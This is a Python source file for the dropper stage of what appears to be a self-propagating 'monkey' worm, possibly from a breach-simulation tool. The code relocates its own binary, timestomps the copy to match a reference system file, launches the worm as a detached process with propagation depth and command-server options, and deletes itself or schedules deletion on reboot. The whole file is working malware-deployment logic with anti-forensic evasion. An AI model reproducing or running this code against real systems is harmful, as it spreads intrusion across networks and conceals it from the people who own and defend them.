155 lines
6.5 KiB
Python
155 lines
6.5 KiB
Python
import argparse
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import ctypes
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import logging
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import os
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import pprint
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import shutil
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import subprocess
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import sys
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import time
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from ctypes import c_char_p
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from config import WormConfiguration
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from exploit.tools import build_monkey_commandline_explicitly
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from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
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from system_info import SystemInfoCollector, OperatingSystem
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if "win32" == sys.platform:
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from win32process import DETACHED_PROCESS
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else:
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DETACHED_PROCESS = 0
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# Linux doesn't have WindowsError
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try:
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WindowsError
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except NameError:
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WindowsError = None
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__author__ = 'itamar'
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LOG = logging.getLogger(__name__)
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MOVEFILE_DELAY_UNTIL_REBOOT = 4
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class MonkeyDrops(object):
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def __init__(self, args):
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arg_parser = argparse.ArgumentParser()
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arg_parser.add_argument('-p', '--parent')
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arg_parser.add_argument('-t', '--tunnel')
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arg_parser.add_argument('-s', '--server')
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arg_parser.add_argument('-d', '--depth', type=int)
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arg_parser.add_argument('-l', '--location')
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self.monkey_args = args[1:]
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self.opts, _ = arg_parser.parse_known_args(args)
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self._config = {'source_path': os.path.abspath(sys.argv[0]),
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'destination_path': self.opts.location}
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def initialize(self):
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LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
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def start(self):
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if self._config['destination_path'] is None:
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LOG.error("No destination path specified")
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return
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# we copy/move only in case path is different
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file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path'])
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if not file_moved and os.path.exists(self._config['destination_path']):
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os.remove(self._config['destination_path'])
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# first try to move the file
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if not file_moved and WormConfiguration.dropper_try_move_first:
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try:
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shutil.move(self._config['source_path'],
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self._config['destination_path'])
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LOG.info("Moved source file '%s' into '%s'",
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self._config['source_path'], self._config['destination_path'])
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file_moved = True
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except (WindowsError, IOError, OSError) as exc:
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LOG.debug("Error moving source file '%s' into '%s': %s",
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self._config['source_path'], self._config['destination_path'],
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exc)
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# if file still need to change path, copy it
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if not file_moved:
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try:
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shutil.copy(self._config['source_path'],
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self._config['destination_path'])
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LOG.info("Copied source file '%s' into '%s'",
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self._config['source_path'], self._config['destination_path'])
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except (WindowsError, IOError, OSError) as exc:
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LOG.error("Error copying source file '%s' into '%s': %s",
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self._config['source_path'], self._config['destination_path'],
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exc)
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return False
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if WormConfiguration.dropper_set_date:
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if sys.platform == 'win32':
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dropper_date_reference_path = os.path.expandvars(WormConfiguration.dropper_date_reference_path_windows)
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else:
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dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
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try:
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ref_stat = os.stat(dropper_date_reference_path)
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except OSError as exc:
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LOG.warn("Cannot set reference date using '%s', file not found",
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dropper_date_reference_path)
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else:
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try:
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os.utime(self._config['destination_path'],
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(ref_stat.st_atime, ref_stat.st_mtime))
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except:
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LOG.warn("Cannot set reference date to destination file")
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monkey_options =\
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build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
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if OperatingSystem.Windows == SystemInfoCollector.get_os():
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monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
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else:
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dest_path = self._config['destination_path']
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# In linux we have a more complex commandline. There's a general outer one, and the inner one which actually
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# runs the monkey
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inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options
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monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")],
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'monkey_commandline': inner_monkey_cmdline}
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monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
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stdin=None, stdout=None, stderr=None,
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close_fds=True, creationflags=DETACHED_PROCESS)
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LOG.info("Executed monkey process (PID=%d) with command line: %s",
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monkey_process.pid, monkey_cmdline)
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time.sleep(3)
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if monkey_process.poll() is not None:
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LOG.warn("Seems like monkey died too soon")
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def cleanup(self):
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if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
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os.path.exists(self._config['source_path']) and \
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WormConfiguration.dropper_try_move_first:
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# try removing the file first
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try:
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os.remove(self._config['source_path'])
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except Exception as exc:
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LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
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# mark the file for removal on next boot
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dropper_source_path_ctypes = c_char_p(self._config['source_path'])
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if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None,
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MOVEFILE_DELAY_UNTIL_REBOOT):
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LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
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self._config['source_path'], ctypes.windll.kernel32.GetLastError())
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else:
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LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
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self._config['source_path'])
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